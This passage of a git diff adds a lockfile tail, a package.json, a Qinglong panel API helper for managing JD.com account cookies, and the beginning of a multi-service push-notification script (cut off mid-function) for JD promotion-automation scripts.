"sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==" + }, + "side-channel": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", + "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", + "requires": { + "call-bind": "^1.0.0", + "get-intrinsic": "^1.0.2", + "object-inspect": "^1.9.0" + } + }, + "sort-keys": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-1.1.2.tgz", + "integrity": "sha1-RBttTTRnmPG05J6JIK37oOVD+a0=", + "requires": { + "is-plain-obj": "^1.0.0" + } + }, + "sort-keys-length": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/sort-keys-length/-/sort-keys-length-1.0.1.tgz", + "integrity": "sha1-nLb09OnkgVWmqgZx7dM2/xR5oYg=", + "requires": { + "sort-keys": "^1.0.0" + } + }, + "sshpk": { + "version": "1.16.1", + "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.16.1.tgz", + "integrity": "sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg==", + "requires": { + "asn1": "~0.2.3", + "assert-plus": "^1.0.0", + "bcrypt-pbkdf": "^1.0.0", + "dashdash": "^1.12.0", + "ecc-jsbn": "~0.1.1", + "getpass": "^0.1.1", + "jsbn": "~0.1.0", + "safer-buffer": "^2.0.2", + "tweetnacl": "~0.14.0" + } + }, + "strict-uri-encode": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/strict-uri-encode/-/strict-uri-encode-1.1.0.tgz", + "integrity": "sha1-J5siXfHVgrH1TmWt3UNS4Y+qBxM=" + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "requires": { + "safe-buffer": "~5.1.0" + } + }, + "strip-dirs": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/strip-dirs/-/strip-dirs-2.1.0.tgz", + "integrity": "sha512-JOCxOeKLm2CAS73y/U4ZeZPTkE+gNVCzKt7Eox84Iej1LT/2pTWYpZKJuxwQpvX1LiZb1xokNR7RLfuBAa7T3g==", + "requires": { + "is-natural-number": "^4.0.1" + } + }, + "strip-outer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/strip-outer/-/strip-outer-1.0.1.tgz", + "integrity": "sha512-k55yxKHwaXnpYGsOzg4Vl8+tDrWylxDEpknGjhTiZB8dFRU5rTo9CAzeycivxV3s+zlTKwrs6WxMxR95n26kwg==", + "requires": { + "escape-string-regexp": "^1.0.2" + } + }, + "tar-stream": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-1.6.2.tgz", + "integrity": "sha512-rzS0heiNf8Xn7/mpdSVVSMAWAoy9bfb1WOTYC78Z0UQKeKa/CWS8FOq0lKGNa8DWKAn9gxjCvMLYc5PGXYlK2A==", + "requires": { + "bl": "^1.0.0", + "buffer-alloc": "^1.2.0", + "end-of-stream": "^1.0.0", + "fs-constants": "^1.0.0", + "readable-stream": "^2.3.0", + "to-buffer": "^1.1.1", + "xtend": "^4.0.0" + } + }, + "through": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", + "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=" + }, + "timed-out": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/timed-out/-/timed-out-4.0.1.tgz", + "integrity": "sha1-8y6srFoXW+ol1/q1Zas+2HQe9W8=" + }, + "to-buffer": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.1.1.tgz", + "integrity": "sha512-lx9B5iv7msuFYE3dytT+KE5tap+rNYw+K4jVkb9R/asAb+pbBSM17jtunHplhBe6RRJdZx3Pn2Jph24O32mOVg==" + }, + "tough-cookie": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.0.0.tgz", + "integrity": "sha512-tHdtEpQCMrc1YLrMaqXXcj6AxhYi/xgit6mZu1+EDWUn+qhUf8wMQoFIy9NXuq23zAwtcB0t/MjACGR18pcRbg==", + "requires": { + "psl": "^1.1.33", + "punycode": "^2.1.1", + "universalify": "^0.1.2" + } + }, + "trim-repeated": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/trim-repeated/-/trim-repeated-1.0.0.tgz", + "integrity": "sha1-42RqLqTokTEr9+rObPsFOAvAHCE=", + "requires": { + "escape-string-regexp": "^1.0.2" + } + }, + "ts-md5": { + "version": "1.2.9", + "resolved": "https://registry.npmjs.org/ts-md5/-/ts-md5-1.2.9.tgz", + "integrity": "sha512-/Efr7ZfGf8P+d9HXh0PLQD1CDipqD8j9apCFG96pODDoEaFLxXpV4En6tAc6y3fWyfhFGrqtNBRBS+eLVIB2uQ==" + }, + "tslib": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.3.1.tgz", + "integrity": "sha512-77EbyPPpMz+FRFRuAFlWMtmgUWGe9UOG2Z25NqCwiIjRhOf5iKGuzSe5P2w1laq+FkRy4p+PCuVkJSGkzTEKVw==" + }, + "tunnel": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz", + "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==" + }, + "tunnel-agent": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", + "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", + "requires": { + "safe-buffer": "^5.0.1" + } + }, + "tweetnacl": { + "version": "0.14.5", + "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", + "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=" + }, + "unbzip2-stream": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/unbzip2-stream/-/unbzip2-stream-1.4.3.tgz", + "integrity": "sha512-mlExGW4w71ebDJviH16lQLtZS32VKqsSfk80GCfUlwT/4/hNRFsoscrF/c++9xinkMzECL1uL9DDwXqFWkruPg==", + "requires": { + "buffer": "^5.2.1", + "through": "^2.3.8" + } + }, + "union": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/union/-/union-0.5.0.tgz", + "integrity": "sha512-N6uOhuW6zO95P3Mel2I2zMsbsanvvtgn6jVqJv4vbVcz/JN0OkL9suomjQGmWtxJQXOCqUJvquc1sMeNz/IwlA==", + "requires": { + "qs": "^6.4.0" + } + }, + "universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==" + }, + "uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "requires": { + "punycode": "^2.1.0" + } + }, + "url-join": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/url-join/-/url-join-2.0.5.tgz", + "integrity": "sha1-WvIvGMBSoACkjXuCxenC4v7tpyg=" + }, + "url-parse-lax": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz", + "integrity": "sha1-FrXK/Afb42dsGxmZF3gj1lA6yww=", + "requires": { + "prepend-http": "^2.0.0" + } + }, + "url-to-options": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/url-to-options/-/url-to-options-1.0.1.tgz", + "integrity": "sha1-FQWgOiiaSMvXpDTvuu7FBV9WM6k=" + }, + "util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" + }, + "uuid": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", + "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==" + }, + "verror": { + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", + "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", + "requires": { + "assert-plus": "^1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "^1.2.0" + }, + "dependencies": { + "core-util-is": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", + "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=" + } + } + }, + "wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" + }, + "ws": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.4.tgz", + "integrity": "sha512-zP9z6GXm6zC27YtspwH99T3qTG7bBFv2VIkeHstMLrLlDJuzA7tQ5ls3OJ1hOGGCzTQPniNJoHXIAOS0Jljohg==" + }, + "xtend": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==" + }, + "yauzl": { + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", + "integrity": "sha1-x+sXyT4RLLEIb6bY5R+wZnt5pfk=", + "requires": { + "buffer-crc32": "~0.2.3", + "fd-slicer": "~1.1.0" + } + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 0000000..f90d8e0 --- /dev/null +++ b/package.json @@ -0,0 +1,32 @@ +{ + "name": "Unknown", + "version": "1.0.0", + "description": "{**When you're done, you can delete the content in this README and update the file with details for others getting started with your repository**}", + "main": "AlipayManor.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "repository": { + "type": "git", + "url": "https://github.com/Unknown/jd_scripts.git" + }, + "keywords": [ + "京东薅羊毛工具, 京东水果、宠物、种豆等等" + ], + "author": "Unknown", + "license": "ISC", + "dependencies": { + "crypto-js": "^4.0.0", + "dotenv": "^10.0.0", + "download": "^6.2.5", + "got": "^11.5.1", + "http-server": "^0.12.3", + "qrcode-terminal": "^0.12.0", + "request": "^2.88.2", + "tough-cookie": "^4.0.0", + "tunnel": "0.0.6", + "ws": "^7.4.3", + "png-js": "^1.0.0", + "jsdom": "^17.0.0" + } +} diff --git a/ql.js b/ql.js new file mode 100644 index 0000000..802d1a6 --- /dev/null +++ b/ql.js @@ -0,0 +1,197 @@ +'use strict'; + +const got = require('got'); +require('dotenv').config(); +const { readFile } = require('fs/promises'); +const path = require('path'); + +const qlDir = '/ql'; +const authFile = path.join(qlDir, 'config/auth.json'); + +const api = got.extend({ + prefixUrl: 'http://127.0.0.1:5600', + retry: { limit: 0 }, +}); + +async function getToken() { + const authConfig = JSON.parse(await readFile(authFile)); + return authConfig.token; +} + +module.exports.getEnvs = async () => { + const token = await getToken(); + const body = await api({ + url: 'api/envs', + searchParams: { + searchValue: 'JD_COOKIE', + t: Date.now(), + }, + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + }, + }).json(); + return body.data; +}; + +module.exports.getEnvsCount = async () => { + const data = await this.getEnvs(); + return data.length; +}; + +module.exports.addEnv = async (cookie, remarks) => { + const token = await getToken(); + const body = await api({ + method: 'post', + url: 'api/envs', + params: { t: Date.now() }, + json: [{ + name: 'JD_COOKIE', + value: cookie, + remarks, + }], + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.updateEnv = async (cookie, eid, remarks) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs', + params: { t: Date.now() }, + json: { + name: 'JD_COOKIE', + value: cookie, + _id: eid, + remarks, + }, + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.updateEnv11 = async (cookie, eid, remarks) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs', + params: { t: Date.now() }, + json: { + name: 'JD_COOKIE', + value: cookie, + id: eid, + remarks, + }, + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.DisableCk = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs/disable', + params: { t: Date.now() }, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.EnableCk = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs/enable', + params: { t: Date.now() }, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.getstatus = async(eid) => { + const envs = await this.getEnvs(); + var tempid = 0; + for (let i = 0; i < envs.length; i++) { + tempid = 0; + if (envs[i]._id) { + tempid = envs[i]._id; + } + if (envs[i].id) { + tempid = envs[i].id; + } + if (tempid == eid) { + return envs[i].status; + } + } + return 99; +}; + +module.exports.getEnvById = async(eid) => { + const envs = await this.getEnvs(); + var tempid = 0; + for (let i = 0; i < envs.length; i++) { + tempid = 0; + if (envs[i]._id) { + tempid = envs[i]._id; + } + if (envs[i].id) { + tempid = envs[i].id; + } + if (tempid == eid) { + return envs[i].value; + } + } + return ""; +}; + +module.exports.getEnvByPtPin = async (Ptpin) => { + const envs = await this.getEnvs(); + for (let i = 0; i < envs.length; i++) { + var tempptpin = decodeURIComponent(envs[i].value.match(/pt_pin=([^; ]+)(?=;?)/) && envs[i].value.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + if(tempptpin==Ptpin){ + return envs[i]; + } + } + return ""; +}; + +module.exports.delEnv = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'delete', + url: 'api/envs', + params: { t: Date.now() }, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; diff --git a/sendNotify.js b/sendNotify.js new file mode 100644 index 0000000..d7549a0 --- /dev/null +++ b/sendNotify.js @@ -0,0 +1,2971 @@ +/* + * @Author: lxk0301 https://gitee.com/lxk0301 + * @Date: 2020-08-19 16:12:40 + * @Last Modified by: whyour + * @Last Modified time: 2021-5-1 15:00:54 + * sendNotify 推送通知功能 + * @param text 通知头 + * @param desp 通知体 + * @param params 某些推送通知方式点击弹窗可跳转, 例:{ url: 'https://abc.com' } + * @param author 作者仓库等信息 例:`本通知 By:https://github.com/whyour/qinglong` + */ +//详细说明参考 https://github.com/ccwav/QLScript2. +const querystring = require('querystring'); +const exec = require('child_process').exec; +const $ = new Env(); +const timeout = 15000; //超时时间(单位毫秒) +console.log("加载sendNotify,当前版本: 20220217"); +// =======================================go-cqhttp通知设置区域=========================================== +//gobot_url 填写请求地址http://127.0.0.1/send_private_msg +//gobot_token 填写在go-cqhttp文件设置的访问密钥 +//gobot_qq 填写推送到个人QQ或者QQ群号 +//go-cqhttp相关API https://docs.go-cqhttp.org/api +let GOBOT_URL = ''; // 推送到个人QQ: http://127.0.0.1/send_private_msg 群:http://127.0.0.1/send_group_msg +let GOBOT_TOKEN = ''; //访问密钥 +let GOBOT_QQ = ''; // 如果GOBOT_URL设置 /send_private_msg 则需要填入 user_id=个人QQ 相反如果是 /send_group_msg 则需要填入 group_id=QQ群 + +// =======================================微信server酱通知设置区域=========================================== +//此处填你申请的SCKEY. +//(环境变量名 PUSH_KEY) +let SCKEY = ''; + +// =======================================Bark App通知设置区域=========================================== +//此处填你BarkAPP的信息(IP/设备码,例如:https://api.day.app/XXXXXXXX) +let BARK_PUSH = ''; +//BARK app推送铃声,铃声列表去APP查看复制填写 +let BARK_SOUND = ''; +//BARK app推送消息的分组, 默认为"QingLong" +let BARK_GROUP = 'QingLong'; + +// =======================================telegram机器人通知设置区域=========================================== +//此处填你telegram bot 的Token,telegram机器人通知推送必填项.例如:1077xxx4424:AAFjv0FcqxxxxxxgEMGfi22B4yh15R5uw +//(环境变量名 TG_BOT_TOKEN) +let TG_BOT_TOKEN = ''; +//此处填你接收通知消息的telegram用户的id,telegram机器人通知推送必填项.例如:129xxx206 +//(环境变量名 TG_USER_ID) +let TG_USER_ID = ''; +//tg推送HTTP代理设置(不懂可忽略,telegram机器人通知推送功能中非必填) +let TG_PROXY_HOST = ''; //例如:127.0.0.1(环境变量名:TG_PROXY_HOST) +let TG_PROXY_PORT = ''; //例如:1080(环境变量名:TG_PROXY_PORT) +let TG_PROXY_AUTH = ''; //tg代理配置认证参数 +//Telegram api自建的反向代理地址(不懂可忽略,telegram机器人通知推送功能中非必填),默认tg官方api(环境变量名:TG_API_HOST) +let TG_API_HOST = 'api.telegram.org'; +// =======================================钉钉机器人通知设置区域=========================================== +//此处填你钉钉 bot 的webhook,例如:5a544165465465645d0f31dca676e7bd07415asdasd +//(环境变量名 DD_BOT_TOKEN) +let DD_BOT_TOKEN = ''; +//密钥,机器人安全设置页面,加签一栏下面显示的SEC开头的字符串 +let DD_BOT_SECRET = ''; + +// =======================================企业微信机器人通知设置区域=========================================== +//此处填你企业微信机器人的 webhook(详见文档 https://work.weixin.qq.com/api/doc/90000/90136/91770),例如:693a91f6-7xxx-4bc4-97a0-0ec2sifa5aaa +//(环境变量名 QYWX_KEY) +let QYWX_KEY = ''; + +// =======================================企业微信应用消息通知设置区域=========================================== +/* +此处填你企业微信应用消息的值(详见文档 https://work.weixin.qq.com/api/doc/90000/90135/90236) +环境变量名 QYWX_AM依次填入 corpid,corpsecret,touser(注:多个成员ID使用|隔开),agentid,消息类型(选填,不填默认文本消息类型) +注意用,号隔开(英文输入法的逗号),例如:wwcff56746d9adwers,B-791548lnzXBE6_BWfxdf3kSTMJr9vFEPKAbh6WERQ,mingcheng,1000001,2COXgjH2UIfERF2zxrtUOKgQ9XklUqMdGSWLBoW_lSDAdafat +可选推送消息类型(推荐使用图文消息(mpnews)): +- 文本卡片消息: 0 (数字零) +- 文本消息: 1 (数字一) +- 图文消息(mpnews): 素材库图片id, 可查看此教程(http://note.youdao.com/s/HMiudGkb)或者(https://note.youdao.com/ynoteshare1/index.html?id=1a0c8aff284ad28cbd011b29b3ad0191&type=note) + */ +let QYWX_AM = ''; + +// =======================================iGot聚合推送通知设置区域=========================================== +//此处填您iGot的信息(推送key,例如:https://push.hellyw.com/XXXXXXXX) +let IGOT_PUSH_KEY = ''; + +// =======================================push+设置区域======================================= +//官方文档:http://www.pushplus.plus/ +//PUSH_PLUS_TOKEN:微信扫码登录后一对一推送或一对多推送下面的token(您的Token),不提供PUSH_PLUS_USER则默认为一对一推送 +//PUSH_PLUS_USER: 一对多推送的“群组编码”(一对多推送下面->您的群组(如无则新建)->群组编码,如果您是创建群组人。也需点击“查看二维码”扫描绑定,否则不能接受群组消息推送) +let PUSH_PLUS_TOKEN = ''; +let PUSH_PLUS_USER = ''; +let PUSH_PLUS_TOKEN_hxtrip = ''; +let PUSH_PLUS_USER_hxtrip = ''; + +// ======================================= WxPusher 通知设置区域 =========================================== +// 此处填你申请的 appToken. 官方文档:https://wxpusher.zjiecode.com/docs +// WP_APP_TOKEN 可在管理台查看: https://wxpusher.zjiecode.com/admin/main/app/appToken +// WP_TOPICIDS 群发, 发送目标的 topicId, 以 ; 分隔! 使用 WP_UIDS 单发的时候, 可以不传 +// WP_UIDS 发送目标的 uid, 以 ; 分隔。注意 WP_UIDS 和 WP_TOPICIDS 可以同时填写, 也可以只填写一个。 +// WP_URL 原文链接, 可选参数 +let WP_APP_TOKEN = ""; +let WP_TOPICIDS = ""; +let WP_UIDS = ""; +let WP_URL = ""; + +let WP_APP_TOKEN_ONE = ""; +if (process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; +} +let WP_UIDS_ONE = ""; + +// =======================================gotify通知设置区域============================================== +//gotify_url 填写gotify地址,如https://push.example.de:8080 +//gotify_token 填写gotify的消息应用token +//gotify_priority 填写推送消息优先级,默认为0 +let GOTIFY_URL = ''; +let GOTIFY_TOKEN = ''; +let GOTIFY_PRIORITY = 0; + +/** + * sendNotify 推送通知功能 + * @param text 通知头 + * @param desp 通知体 + * @param params 某些推送通知方式点击弹窗可跳转, 例:{ url: 'https://abc.com' } + * @param author 作者仓库等信息 例:`本通知 By:https://github.com/whyour/qinglong` + * @returns {Promise} + */ +let PushErrorTime = 0; +let strTitle = ""; +let ShowRemarkType = "1"; +let Notify_NoCKFalse = "false"; +let Notify_NoLoginSuccess = "false"; +let UseGroupNotify = 1; +const { + getEnvs, + DisableCk, + getEnvByPtPin +} = require('./ql'); +const fs = require('fs'); +let strCKFile = '/ql/scripts/CKName_cache.json'; +let Fileexists = fs.existsSync(strCKFile); +let TempCK = []; +if (Fileexists) { + console.log("检测到别名缓存文件CKName_cache.json,载入..."); + TempCK = fs.readFileSync(strCKFile, 'utf-8'); + if (TempCK) { + TempCK = TempCK.toString(); + TempCK = JSON.parse(TempCK); + } +} +let strUidFile = '/ql/scripts/CK_WxPusherUid.json'; +let UidFileexists = fs.existsSync(strUidFile); +let TempCKUid = []; +if (UidFileexists) { + console.log("检测到一对一Uid文件WxPusherUid.json,载入..."); + TempCKUid = fs.readFileSync(strUidFile, 'utf-8'); + if (TempCKUid) { + TempCKUid = TempCKUid.toString(); + TempCKUid = JSON.parse(TempCKUid); + } +} + +let tempAddCK = {}; +let boolneedUpdate = false; +let strCustom = ""; +let strCustomArr = []; +let strCustomTempArr = []; +let Notify_CKTask = ""; +let Notify_SkipText = []; +let isLogin = false; +if (process.env.NOTIFY_SHOWNAMETYPE) { + ShowRemarkType = process.env.NOTIFY_SHOWNAMETYPE; + if (ShowRemarkType == "2") + console.log("检测到显示备注名称,格式为: 京东别名(备注)"); + if (ShowRemarkType == "3") + console.log("检测到显示备注名称,格式为: 京东账号(备注)"); + if (ShowRemarkType == "4") + console.log("检测到显示备注名称,格式为: 备注"); +} +async function sendNotify(text, desp, params = {}, author = '\n\n本通知 By ccwav Mod', strsummary = "") { + console.log(`开始发送通知...`); + + //NOTIFY_FILTERBYFILE代码来自Ca11back. + if (process.env.NOTIFY_FILTERBYFILE) { + var no_notify = process.env.NOTIFY_FILTERBYFILE.split('&'); + if (module.parent.filename) { + const script_name = module.parent.filename.split('/').slice(-1)[0]; + if (no_notify.some(key_word => { + const flag = script_name.includes(key_word); + if (flag) { + console.log(`${script_name}含有关键字${key_word},不推送`); + } + return flag; + })) { + return; + } + } + } + + try { + //Reset 变量 + UseGroupNotify = 1; + strTitle = ""; + GOBOT_URL = ''; + GOBOT_TOKEN = ''; + GOBOT_QQ = ''; + SCKEY = ''; + BARK_PUSH = ''; + BARK_SOUND = ''; + BARK_GROUP = 'QingLong'; + TG_BOT_TOKEN = ''; + TG_USER_ID = ''; + TG_PROXY_HOST = ''; + TG_PROXY_PORT = ''; + TG_PROXY_AUTH = ''; + TG_API_HOST = 'api.telegram.org'; + DD_BOT_TOKEN = ''; + DD_BOT_SECRET = ''; + QYWX_KEY = ''; + QYWX_AM = ''; + IGOT_PUSH_KEY = ''; + PUSH_PLUS_TOKEN = ''; + PUSH_PLUS_USER = ''; + PUSH_PLUS_TOKEN_hxtrip = ''; + PUSH_PLUS_USER_hxtrip = ''; + Notify_CKTask = ""; + Notify_SkipText = []; + + //变量开关 + var Use_serverNotify = true; + var Use_pushPlusNotify = true; + var Use_BarkNotify = true; + var Use_tgBotNotify = true; + var Use_ddBotNotify = true; + var Use_qywxBotNotify = true; + var Use_qywxamNotify = true; + var Use_iGotNotify = true; + var Use_gobotNotify = true; + var Use_pushPlushxtripNotify = true; + var Use_WxPusher = true; + var strtext = text; + var strdesp = desp; + if (process.env.NOTIFY_NOCKFALSE) { + Notify_NoCKFalse = process.env.NOTIFY_NOCKFALSE; + } + if (process.env.NOTIFY_NOLOGINSUCCESS) { + Notify_NoLoginSuccess = process.env.NOTIFY_NOLOGINSUCCESS; + } + if (process.env.NOTIFY_CKTASK) { + Notify_CKTask = process.env.NOTIFY_CKTASK; + } + + if (process.env.NOTIFY_SKIP_TEXT && desp) { + Notify_SkipText = process.env.NOTIFY_SKIP_TEXT.split('&'); + if (Notify_SkipText.length > 0) { + for (var Templ in Notify_SkipText) { + if (desp.indexOf(Notify_SkipText[Templ]) != -1) { + console.log("检测内容到内容存在屏蔽推送的关键字(" + Notify_SkipText[Templ] + "),将跳过推送..."); + return; + } + } + } + } + + if (text.indexOf("cookie已失效") != -1 || desp.indexOf("重新登录获取") != -1 || text == "Ninja 运行通知") { + + if (Notify_CKTask) { + console.log("触发CK脚本,开始执行...."); + Notify_CKTask = "task " + Notify_CKTask + " now"; + await exec(Notify_CKTask, function (error, stdout, stderr) { + console.log(error, stdout, stderr) + }); + } + } + if (process.env.NOTIFY_AUTOCHECKCK == "true") { + if (text.indexOf("cookie已失效") != -1 || desp.indexOf("重新登录获取") != -1) { + console.log(`捕获CK过期通知,开始尝试处理...`); + var strPtPin = await GetPtPin(text); + var strdecPtPin = decodeURIComponent(strPtPin); + var llHaderror = false; + + if (strPtPin) { + var temptest = await getEnvByPtPin(strdecPtPin); + if (temptest) { + if (temptest.status == 0) { + isLogin = true; + await isLoginByX1a0He(temptest.value); + if (!isLogin) { + var tempid = 0; + if (temptest._id) { + tempid = temptest._id; + } + if (temptest.id) { + tempid =temptest.id; + } + const DisableCkBody = await DisableCk(tempid); + strPtPin = temptest.value; + strPtPin = (strPtPin.match(/pt_pin=([^; ]+)(?=;?)/) && strPtPin.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + var strAllNotify = ""; + var MessageUserGp2 = ""; + var MessageUserGp3 = ""; + var MessageUserGp4 = ""; + + var userIndex2 = -1; + var userIndex3 = -1; + var userIndex4 = -1; + + var strNotifyOneTemp = ""; + if ($.isNode() && process.env.BEANCHANGE_USERGP2) { + MessageUserGp2 = process.env.BEANCHANGE_USERGP2 ? process.env.BEANCHANGE_USERGP2.split('&') : []; + } + + if ($.isNode() && process.env.BEANCHANGE_USERGP3) { + MessageUserGp3 = process.env.BEANCHANGE_USERGP3 ? process.env.BEANCHANGE_USERGP3.split('&') : []; + } + + if ($.isNode() && process.env.BEANCHANGE_USERGP4) { + MessageUserGp4 = process.env.BEANCHANGE_USERGP4 ? process.env.BEANCHANGE_USERGP4.split('&') : []; + } + + if (MessageUserGp4) { + userIndex4 = MessageUserGp4.findIndex((item) => item === strPtPin); + + } + if (MessageUserGp2) { + userIndex2 = MessageUserGp2.findIndex((item) => item === strPtPin); + } + if (MessageUserGp3) { + userIndex3 = MessageUserGp3.findIndex((item) => item === strPtPin); + } + + if (userIndex2 != -1) { + console.log(`该账号属于分组2`); + text = "京东CK检测#2"; + } + if (userIndex3 != -1) { + console.log(`该账号属于分组3`); + text = "京东CK检测#3"; + } + if (userIndex4 != -1) { + console.log(`该账号属于分组4`); + text = "京东CK检测#4"; + } + if (userIndex4 == -1 && userIndex2 == -1 && userIndex3 == -1) { + text = "京东CK检测"; + } + if (process.env.CHECKCK_ALLNOTIFY) { + strAllNotify = process.env.CHECKCK_ALLNOTIFY; + /* if (strTempNotify.length > 0) { + for (var TempNotifyl in strTempNotify) { + strAllNotify += strTempNotify[TempNotifyl] + '\n'; + } + }*/ + console.log(`检测到设定了温馨提示,将在推送信息中置顶显示...`); + strAllNotify = `\n【✨✨✨✨温馨提示✨✨✨✨】\n` + strAllNotify; + console.log(strAllNotify); + } + + if (DisableCkBody.code == 200) { + console.log(`京东账号` + strdecPtPin + `已失效,自动禁用成功!\n`); + + strNotifyOneTemp = `京东账号: ` + strdecPtPin + ` 已失效,自动禁用成功!\n如果要继续挂机,请联系管理员重新登录账号,账号有效期为30天.`; + strNotifyOneTemp += "\n任务标题:" + strtext; + if (strAllNotify) + strNotifyOneTemp += `\n` + strAllNotify; + desp = strNotifyOneTemp; + if (WP_APP_TOKEN_ONE) { + await sendNotifybyWxPucher(`账号过期下线通知`, strNotifyOneTemp, strdecPtPin); + } + + } else { + console.log(`京东账号` + strPtPin + `已失效,自动禁用失败!\n`); + strNotifyOneTemp = `京东账号: ` + strdecPtPin + ` 已失效!\n如果要继续挂机,请联系管理员重新登录账号,账号有效期为30天.`; + strNotifyOneTemp += "\n任务标题:" + strtext; + 